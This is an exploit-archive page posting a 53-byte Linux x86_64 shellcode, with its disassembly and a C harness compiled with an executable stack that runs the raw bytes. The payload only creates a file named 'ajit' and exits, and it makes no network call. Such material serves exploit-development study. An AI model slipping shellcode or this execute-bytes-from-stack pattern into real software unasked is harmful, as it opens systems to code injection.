what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux x86_x64 sys_creat("ajit", 0755) Shellcode

Linux x86_x64 sys_creat("ajit", 0755) Shellcode
Posted Dec 29, 2019
Authored by Ajith KP, Sayooj S Nambiar, Vishnu Nath Kp

53 bytes small Linux/x86_x64 sys_creat("ajit", 0755) shellcode.

tags | shellcode
systems | linux
SHA-256 | a78386e6925c4c7622dc2d1a9270b66cf3cbc0c50e6f09d58c4768ff8f87dce6

Linux x86_x64 sys_creat("ajit", 0755) Shellcode

Change Mirror Download
/*
---------------------------------------------------------------------------------------------------

Linux/x86_x64 - sys_creat("ajit", 0755) - 53 bytes

Ajith Kp [ http://fb.com/ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Vishnu Nath Kp [ http://www.terminalcoders.blogspot.com ]
Sayooj S Nambiar [ http://fb.com/sayooj.sivadas ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

0000000000400080 <.text>:
400080: eb 2a jmp 0x4000ac
400082: 5f pop %rdi
400083: 68 e0 f2 5b 2e pushq $0x2e5bf2e0
400088: 5e pop %rsi
400089: 48 81 ee e1 f0 5b 2e sub $0x2e5bf0e1,%rsi
400090: 68 e0 f2 5b 2e pushq $0x2e5bf2e0
400095: 58 pop %rax
400096: 48 2d 8b f2 5b 2e sub $0x2e5bf28b,%rax
40009c: 0f 05 syscall
40009e: 68 e0 f2 5b 2e pushq $0x2e5bf2e0
4000a3: 58 pop %rax
4000a4: 48 2d a4 f2 5b 2e sub $0x2e5bf2a4,%rax
4000aa: 0f 05 syscall
4000ac: e8 d1 ff ff ff callq 0x400082
4000b1: 61 (bad)
4000b2: 6a 69 pushq $0x69
4000b4: 74 .byte 0x74
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o syscreat_shellcode_linux_x64 syscreat_shellcode_linux_x64.c -z execstack
$ ./syscreat_shellcode_linux_x64

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x2a\x5f\x68\xe0\xf2\x5b\x2e\x5e\x48\x81\xee\xe1\xf0\x5b\x2e\x68\xe0\xf2\x5b\x2e\x58\x48\x2d\x8b\xf2\x5b\x2e\x0f\x05\x68\xe0\xf2\x5b\x2e\x58\x48\x2d\xa4\xf2\x5b\x2e\x0f\x05\xe8\xd1\xff\xff\xff\x61\x6a\x69\x74";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close